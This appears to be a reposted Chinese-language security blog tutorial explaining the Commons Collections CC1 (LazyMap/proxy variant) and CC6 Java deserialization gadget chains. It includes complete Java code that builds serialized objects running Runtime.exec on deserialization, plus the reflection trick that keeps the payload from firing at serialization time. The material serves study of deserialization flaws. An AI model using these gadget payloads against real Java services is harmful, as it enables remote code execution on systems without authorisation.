Java安全--CC1的补充和CC6

这篇具有很好参考价值的文章主要介绍了Java安全--CC1的补充和CC6。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CC1的补充

上一次讲的是cc链的一种形式,这个补充的cc链子是yso的cc链。

这个链子确实比较麻烦,但是和我们下一步要学习的cc6有比较紧的联系。所以做一下补充,值得一提的是这个链子也确实很巧妙

我们看一下两条链子的分歧在哪里:

Java安全--CC1的补充和CC6

ChainedTransformer.transform()开始往下和上一次讲的链子是一样的,这里就不赘述了。不一样的是transformer调用的函数从TransformedMap.checkSetValue()变成了LazyMap.get()

我们现在的目标是搜索那里调用了get方法-->也是AnnotationInvocationHandler

需要利用的点在AnnotationInvocationHandlerinvoke()里面,而学完动态代理我们知道InvocationHandler是动态代理类,所以要触发invoke方法需要调用AnnotationInvocationHandler的方法就会调用invoke方法。

,具体invoke方法的调用:

Java安全--CC1的补充和CC6

这里这个细节我纠了好久,网上搜不到,最后在jdk文档里面发现了。当在与之关联的代理示例上调用方法时,将在调用处理程序中调用此方法

但是这里虽然调用任意实例的方法都会进入到invoke里面,但是具体要执行什么方法确实要斟酌一下,我们可以看一下啊AnnotationInvocationHandlerinvoke方法体:

Java安全--CC1的补充和CC6

需要过几个判断,一一分析一下:

if (member.equals("equals") && paramTypes.length == 1 &&
    paramTypes[0] == Object.class)
    return equalsImpl(args[0]);
if (paramTypes.length != 0)
    throw new AssertionError("Too many parameters for an annotation method");

第一个判断是判断调用的函数是不是equals,如果是就会执行到return了,所以不能调用equals

第二个判断是判断调用的函数是否有参数,如果有则抛出异常,所以我们调用的函数也不能有参数。

Java安全--CC1的补充和CC6

然后就可以执行我们想要执行的 memberValues.get(member);

我们只要控制memberValues.get(member); 为LazyMap就可以了

下一步目标是寻找如何触发invoke了,很巧妙的就是刚好同样是AnnotationInvocationHandler这个类的readObject入口有一处执行了无参的方法,从这里可以调用一个无参的方法。刚刚好绕过上面的if条件。

Java安全--CC1的补充和CC6

而且这里的memberValues也是我们可以控制的,通过构造函数传参传入的。

但是触发invoke我们需要使用动态代理的类包装一下,然后再传入LazyMap

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.SendingContext.RunTime;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);


        Class aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = aih.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler proxy = (InvocationHandler) declaredConstructor.newInstance(Target.class, decorate);

        Map m = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class}, proxy);
        Object o = declaredConstructor.newInstance(Target.class, m);

        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

贴一下yso的链子:

Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

CC6

来看一下CC6的链子:

Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

从LazyMap开始是和这个补充的CC1一样。同样道理我们看一下分歧点在哪里

我们上一次的思路是寻找何处调用了get,并且调用get的参数可控。

我们找到了AnnotationInvocationHandler中的memberValues.get(member)

这次我们寻找的是TiedMapEntry中的getValue,并且这个map刚好我们可控,只要设置成LazyMap就可以完成后面的链子了。

Java安全--CC1的补充和CC6

下一步工作就是寻找何处调用了getValue,刚好也在TiedMapEntry中的hashCode中调用了getValue

Java安全--CC1的补充和CC6

hashCode()我们十分熟悉,不就是上次URLDNS那条链子吗。简单回顾一下URLDNS:

Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

所以我们就可以通过HashMap中的put来接上TiedMaoEntry.hashCode();

Java安全--CC1的补充和CC6

我们这里是put调用hash(),然后调用同名函数hashCode(),就会走到TiedMapEntry的同名函数hashCode()

Java安全--CC1的补充和CC6

于是我们编写第一版payload:

package org.example;

import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key1");

        HashMap<Object, Object> hashMap1 = new HashMap<>();
        tiedMapEntry.put(tiedMapEntry,"key2");

        serialize(hashMap1);
//        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

我们发现序列化的时候会弹计算机,而反序列并不会弹计算机。。

其实这个问题和上次的URLDNS一样,因为序列化的时候put就会走到后面的链子中。那为什么它走了一次反序列化就走不进去呢?

我们调试:

Java安全--CC1的补充和CC6

我们通过调试发现在序列化的时候会再添加一个Entry(键值对),所以反序列化的时候这里判断就会是true。


为什么添加了一个Entry(键值对)反序列的时候判断就是true了?

关于containsKey这里给出了一个例子,可以更好理解:

Java安全--CC1的补充和CC6

因为containsKey(key)这个函数是判断这个key是否添加过。这里序列化的时候就添加了,所以反序列化的时候会判断出添加过了,就不会执行if里面的语句了。

那怎么解决这个问题?

很简单,我们不能阻止它添加,但是我们可以删除他添加过的呀。所以我们可以把这个Entry删除掉。

因此我们在序列化之前添加一句:

decorate.remove("key1");

注意这里是decorate.remover("key1");

不是hashMap("key1");

package org.example;

import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key1");

        HashMap<Object, Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"key2");
        decorate.remove("key1");


//        serialize(hashMap1);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

但是我们希望在序列化的时候不会弹计算机,因为这样会影响我们判断反序列化的结果。所以我们可以改进这个代码,在序列化的时候传进去的Transformer是执行不到恶意类的,然后通过反射在put之后再修改TransformerchainedTransformer。所以改进代码如下:

package org.example;

import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map<Object,Object> decorate = LazyMap.decorate(hashMap, new ConstantTransformer(Runtime.class));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "key1");

        HashMap<Object, Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"key2");
        decorate.remove("key1");

        Class aClass = LazyMap.class;
        Field factory = aClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(decorate,chainedTransformer);

        serialize(hashMap1);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

这两个链子更有趣的点在于CC6不受JDK版本限制,CC1需在jdk8u65的版本。那为什么jdk8u71之后就不能使用呢?

因为jdk8u71对AnnotationInvocationHandler的readObject做了改进。

我们看一下jdk8u71的AnnotationInvocationHandler的readObject里面哪里发生了改变

没找到8u71的openjdk就用这个反编译了

Java安全--CC1的补充和CC6

但是这个区别的理解还是比较肤浅,只能暂时到这。

有个小坑

如果切换了jdk版本用CC1还是能弹计算器,可能是序列化的内容没有覆盖ser.bin文件,这个时候需要先把ser.bin文件删除了再序列化,此时再反序列化的话就不会弹计算器了。这个小坑感谢xioaqiuxx师傅解答文章来源地址https://www.toymoban.com/news/detail-489207.html

到了这里,关于Java安全--CC1的补充和CC6的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • gcc: fatal error: cannot execute ‘cc1plus’: execvp: No such file or directory

    今天在Linux操作系统上开发C语言的时候,写好了一个helloword代码,想直接用gcc编译运行, 没想到直接给报错!!!

    2024年02月10日
    浏览(43)
  • 驱动开发---cc1: error: code model kernel does not support PIC mode(改文件Unhelp?try it)

          问题描述:在编译内核时出现 cc1: error: code model kernel does not support PIC mode的问题。                  linux版本:3.14       问题分析:这极大原因是系统调用了默认的编译器导致的。      问题解决:在进行make编译的时候,加上ARCH=arm CROSS_COMPILE=arm-none-linux-gnueabi- 

    2024年02月11日
    浏览(58)
  • 【ubuntu】gcc: fatal error: cannot execute ‘cc1plus’: execvp: No such file or directory

    在 ubuntu 20.04 系统中编译 graphlearning 源码时出现如下报错: 按照其他网友的方法,我使用了这条命令: sudo apt install g++-aarch64-linux-gn 但很不幸,又出现新的新的报错: 报错复报错,报错何其多。与其查博客,不如看信息。 于是乎,我还是老老实实地回到最开始,报错的信息

    2024年02月12日
    浏览(53)
  • 嵌入式Linux交叉编译过程中遇到”cannot execute ‘cc1plus‘:execvp:No such file or directory“问题的解决方法

    今天又是遇到问题的一天,耗时两小时(因为找解决方法的过程中遇到了较多麻烦)。 问题的起因是我在编译T113-S3_100ask开发板驱动程序的过程中,突然中断报错了,错误如下图所示。 由于我也是刚接触嵌入式linux驱动编写,所以,对于一些问题看得不是很懂。所以,我选择

    2024年02月07日
    浏览(56)
  • Java安全--CC3

    CC3和CC1和CC6的执行命令方式不一样。CC3使用的是动态类加载。我们把恶意代码写在加载类的静态构造方法中。需要注意的是: 当初始化的时候就会执行静态构造方法,defineClass的时候是不会执行静态构造代码块的,我们在找利用点的时候需要有newInstance()这种。 我们从

    2024年02月14日
    浏览(39)
  • Java安全 CC链1分析

    Apache Commons工具包中有⼀个组件叫做 Apache Commons Collections ,其封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,而正是因为在大量web应⽤程序中这些类的实现以及⽅法的

    2024年01月21日
    浏览(38)
  • Java安全 CC链2分析

    CC2链适用于Apache common collection 4.0版本,由于该版本对 AnnotationInvocationHandler类 的 readObject 方法进行了修复,导致cc链1无法使用,故产生了cc链2,cc链2与cc链3相似,都使用了字节码的加载,并且后续的触发链也基本相同 有关环境配置请看 Java安全 CC链1分析 不同的是由于我们需

    2024年03月19日
    浏览(37)
  • Java安全 CC链3分析

    cc链3的后半部分与cc链1相同,都是通过 TransformedMap类或LazyMap类触发transform方法 ,从而触发核心链,与cc1不同的是,cc链3的核心链用到了类在加载初始化时会自动执行静态方法 有关环境配置和CC链3后接的CC链1部分解析可查看以下两篇文章 Java安全 CC链1分析 Java安全 CC链1分析

    2024年04月14日
    浏览(33)
  • Java安全 CC链6分析

    CC链6不受jdk版本与cs版本的影响,在Java安全中最为通用,并且非常简洁,非常有学习的必要,建议在学习CC链6之前先学习一下 URLDNS链 和 CC链1(LazyMap类),这样会事半功倍,更好的理解 CC链6,这里可以先看下我的这两篇文章 Java安全 URLDNS链分析 Java安全 CC链1分析(Lazymap类) 这条

    2024年02月20日
    浏览(30)
  • Java安全研究——反序列化漏洞之CC链

    apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人也是初学Java审计不久,技术薄弱,所以在此做一个cc链的学习总结,如有错误还请大佬指出。 若本文有侵权行为,请立即私信,将全面修

    2024年02月04日
    浏览(59)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包